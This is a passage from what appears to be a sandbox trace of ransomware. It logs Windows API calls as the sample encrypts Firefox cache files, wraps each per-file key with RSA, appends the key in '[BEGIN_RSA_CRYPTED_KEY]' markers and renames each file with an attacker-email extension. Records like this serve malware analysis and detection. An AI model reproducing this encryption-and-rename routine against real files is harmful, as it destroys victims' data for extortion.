nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0268.027] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0268.027] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0268.028] CloseHandle (hObject=0x1b84) returned 1 [0268.028] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\62326019F9C99B9A93D51B48A1F63BC2D075A6B9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\62326019f9c99b9a93d51b48a1f63bc2d075a6b9"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\62326019F9C99B9A93D51B48A1F63BC2D075A6B9.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\62326019f9c99b9a93d51b48a1f63bc2d075a6b9.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0268.056] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0268.056] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\616AB700BF5ED4A444798148DA26984F3B31D83A", dwFileAttributes=0x80) returned 1 [0268.057] ReadFile (in: hFile=0x1b84, lpBuffer=0x678020, nNumberOfBytesToRead=0x114f4d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x678020*, lpNumberOfBytesRead=0x2e3f9b4*=0x114f4d, lpOverlapped=0x0) returned 1 [0268.379] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1134413, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0268.379] WriteFile (in: hFile=0x1b84, lpBuffer=0x3d43020*, nNumberOfBytesToWrite=0x114f4d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3d43020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x114f4d, lpOverlapped=0x0) returned 1 [0268.389] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x114f4d [0268.389] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0268.389] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0268.503] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0268.503] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0268.503] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0268.503] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="EfBBXIa/RoX31rKgFPzirMCrcKLyoso/qbMrBwfJydy/Jr5Zd4Rzg3lu7gsqKR9/\nIwjR6mOwfTd8qK81u1BZd23GBgqYdV4KisUS7iI6n1jbSiCIO+4qUdFijB7CGxSg\nzLyizcofLsiJnycNye9+q4XySDHHXwCqJrUylYYDvocK9EYgARkvDMfD3Scn8XtB\n2hohlmaxyhRaqrljNcHZNBlIclXgJmLHe786SHP2wuFAc5A+TvhiNjaGV2due3Hd\nsi4OQvMxalSRBdlIvm9huyqqMYrrfDLyTvhb0UvvwBXV/ptbQjMuzFOEoAHidJoD\ntHON6Rbs1IxyMW1iu4R2mg==\n", pcchString=0x2e3f9a8) returned 1 [0268.503] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0268.504] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0268.504] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0268.504] CloseHandle (hObject=0x1b84) returned 1 [0268.505] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\616AB700BF5ED4A444798148DA26984F3B31D83A" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\616ab700bf5ed4a444798148da26984f3b31d83a"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\616AB700BF5ED4A444798148DA26984F3B31D83A.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\616ab700bf5ed4a444798148da26984f3b31d83a.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0269.598] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0269.598] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5FE82A8DD7C9014AEE2AAA31ED2ABEDABD77E7C4", dwFileAttributes=0x80) returned 1 [0269.599] ReadFile (in: hFile=0x1b84, lpBuffer=0x343b820, nNumberOfBytesToRead=0x1161, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343b820*, lpNumberOfBytesRead=0x2e3f9b4*=0x1161, lpOverlapped=0x0) returned 1 [0269.787] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4449, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0269.787] WriteFile (in: hFile=0x1b84, lpBuffer=0x343c990*, nNumberOfBytesToWrite=0x1161, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343c990*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1161, lpOverlapped=0x0) returned 1 [0269.788] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1161 [0269.788] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0269.788] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0269.789] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0269.789] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0269.789] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0269.789] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="A5VxdwAKuFAZrwYDi9HcDd8XTNUuazCezcXKeGutTvpexDJgyItsqW57kOHessRl\ntAvNGuyz3D2f9Hx3nJQVF36U0612fEMinUsWLq6c37g3E+YCV+AduMvcv20AndOb\nEtwPG51cgfBNTuSCKh6Le15L7Lhd9sNZy0tGl2yluMFW9HTba+BznHwaD5P9OJQm\n1RJg1BuA5KKLF3RDZk2NuHTfH1OYFzL617mnGqLZ4PuPrdABiIEsbt5AilV297YU\nI4kNysu5qSSAncHx18/cmuKj23J8l/yBsREca4ld4qa3n/JqX7wEE5WHJPSUy/1I\nmKBQb/0lcwuT+ElWCzaiUA==\n", pcchString=0x2e3f9a8) returned 1 [0269.789] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0269.790] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0269.790] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0269.790] CloseHandle (hObject=0x1b84) returned 1 [0269.790] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5FE82A8DD7C9014AEE2AAA31ED2ABEDABD77E7C4" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5fe82a8dd7c9014aee2aaa31ed2abedabd77e7c4"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5FE82A8DD7C9014AEE2AAA31ED2ABEDABD77E7C4.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5fe82a8dd7c9014aee2aaa31ed2abedabd77e7c4.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0269.792] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0269.792] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5F6CA4B735A819E20BF4C478266384C8A4B7C158", dwFileAttributes=0x80) returned 1 [0269.793] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x41a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x41a, lpOverlapped=0x0) returned 1 [0269.794] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1050, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0269.794] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x41a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x41a, lpOverlapped=0x0) returned 1 [0269.794] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x41a [0269.795] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0269.795] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0269.795] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0269.795] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0269.795] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0269.795] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="NSkmPKd7u8uNXfMKocmSryMlZpVVIvn+yQv+V3W/gsfxrDum611EdTzDKCGZcQre\nEI6t6OXvJyyfGfxjA1nj3KJp0aBpGixuvi3+VSf9fxryFKJyFf877JyYU8pTi+Bj\nNz/zZdzQ1fncu65jWorOmtxsWxR09Y2GAgKpCqOXxoquwArx+m+O7BFTydGcj+zp\nUcanfkwl0cKitw91DhzbnXHerZBp1ShSL8foh9t79mucueCU3aDjLhvNwS3dL90f\nfRxxfNR0Yime3cCHwt/eV2nvvp2bjbrZswXmVk9ei3uepoVm8kr9Ja4F/hg9rCbK\nkQHE5DXTjaRyZOdbSayOoA==\n", pcchString=0x2e3f9a8) returned 1 [0269.795] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0269.796] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0269.796] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0269.796] CloseHandle (hObject=0x1b84) returned 1 [0269.796] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5F6CA4B735A819E20BF4C478266384C8A4B7C158" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5f6ca4b735a819e20bf4c478266384c8a4b7c158"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5F6CA4B735A819E20BF4C478266384C8A4B7C158.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5f6ca4b735a819e20bf4c478266384c8a4b7c158.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0269.798] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0269.798] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5F48FAABC36B7B66AAC3820F4C14377E7CE7AF5C", dwFileAttributes=0x80) returned 1 [0269.798] ReadFile (in: hFile=0x1b84, lpBuffer=0x343b820, nNumberOfBytesToRead=0x1481, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343b820*, lpNumberOfBytesRead=0x2e3f9b4*=0x1481, lpOverlapped=0x0) returned 1 [0269.800] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-5249, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0269.800] WriteFile (in: hFile=0x1b84, lpBuffer=0x343ccb0*, nNumberOfBytesToWrite=0x1481, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343ccb0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1481, lpOverlapped=0x0) returned 1 [0269.800] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1481 [0269.800] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0269.800] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0269.800] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0269.800] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0269.801] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0269.801] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="/G6YF2VhUtpMRwVAxUoISp4WTCSLEVjj5itUUy9x6KS1czBLVBPdhUYZjqF6OmIJ\nNkTOfxucybWt263e6XAwelgobaovZXQVraghLvpHJJ2NlT4DzSbKUVnHwhpMm8dN\nE/X4WYlx0A2pl+wBOqtlKGh4mbZl2v6ztstmVA3ihJNzXFgzAStyIx6bWhLFN8hA\nlq3fEqtktDDmmmdXsK1w0J+/7vFjULWimQ/NUm81sNLf2dTbITq/OsD9VV2xgS6L\nsGa9UoLw/iWFmZ9mHzZva1fObawG7H2QRmwFi8KYXd+Fg4NM0ilF4Faq9uYJ9ziY\ngntyRGO++3coDDgaGZhIOA==\n", pcchString=0x2e3f9a8) returned 1 [0269.801] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0269.801] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0269.801] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0269.801] CloseHandle (hObject=0x1b84) returned 1 [0269.802] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5F48FAABC36B7B66AAC3820F4C14377E7CE7AF5C" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5f48faabc36b7b66aac3820f4c14377e7ce7af5c"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5F48FAABC36B7B66AAC3820F4C14377E7CE7AF5C.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5f48faabc36b7b66aac3820f4c14377e7ce7af5c.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0269.804] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0269.804] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5E4954707B44E5A4B4ACF5F22B52219A1DCA477F", dwFileAttributes=0x80) returned 1 [0269.804] ReadFile (in: hFile=0x1b84, lpBuffer=0x343b820, nNumberOfBytesToRead=0x447d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343b820*, lpNumberOfBytesRead=0x2e3f9b4*=0x447d, lpOverlapped=0x0) returned 1 [0269.959] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-17533, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0269.959] WriteFile (in: hFile=0x1b84, lpBuffer=0x343fca8*, nNumberOfBytesToWrite=0x447d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343fca8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x447d, lpOverlapped=0x0) returned 1 [0269.960] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x447d [0269.960] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0269.960] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0269.961] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0269.961] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0269.961] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0269.961] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="lH1/LIbgE1+G3wi06JhAayt9eHQ8rnar6L9ioJ5kcjrKjZXYhKoyrz2H4UAdOnJF\nPUH56nafQ9TiOSfq8gi0GqjzvZV1xfDYoFJnBfws87LUrhT0YAIy6WiKmT/1GUVn\nvUFqcJgZBl/44aNP9bU0+u/xBSyu+DKTFqb4+oztFzA5BRQNm9Ml8gADLiK5wByI\nxH9N3d4Zlm0DvSnkM3v30kyVD4q3jyuPUH/X2xXTsALQQfFyZkwEXO0eCF02Oex+\njLWuTBv74nDIsW9Sitr/gkfM9kh5HOQpfj1fIQhoZrymGsQJi7wvl7H1t2mWikgt\nYsdurdX0aCgAJ9uHwuOEtg==\n", pcchString=0x2e3f9a8) returned 1 [0269.961] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0269.962] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0269.962] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0269.962] CloseHandle (hObject=0x1b84) returned 1 [0269.962] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5E4954707B44E5A4B4ACF5F22B52219A1DCA477F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5e4954707b44e5a4b4acf5f22b52219a1dca477f"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5E4954707B44E5A4B4ACF5F22B52219A1DCA477F.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\5e4954707b44e5a4b4acf5f22b52219a1dca477f.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0269.964] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0269.964] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\5D44AC703C53CC7EE6356F698FD1B03DA81FFE47", dwFileAttributes=0x80) returned 1 [0269.964] ReadFile (in: hFile=0x1b84, lpBuffer=0x343b820, nNumberOfBytesToRead=0x2198, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343b820*, lpNumberOfBytesRead=0x2e3f9b4*=0x2198, lpOverlapped=0x0) returned 1 [0270.072] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-8600, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0270.073] WriteFile (in: hFile=0x1b84, lpBuffer=0x343d9c0*, nNumberOfBytesToWrite=0x2198, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343d9c0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2198, lpOverlapped=0x0) returned 1 [0270.073] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2198 [0270.073] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0270.073] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0270.074] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0270.074] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0270.074] CryptBinaryToStringA 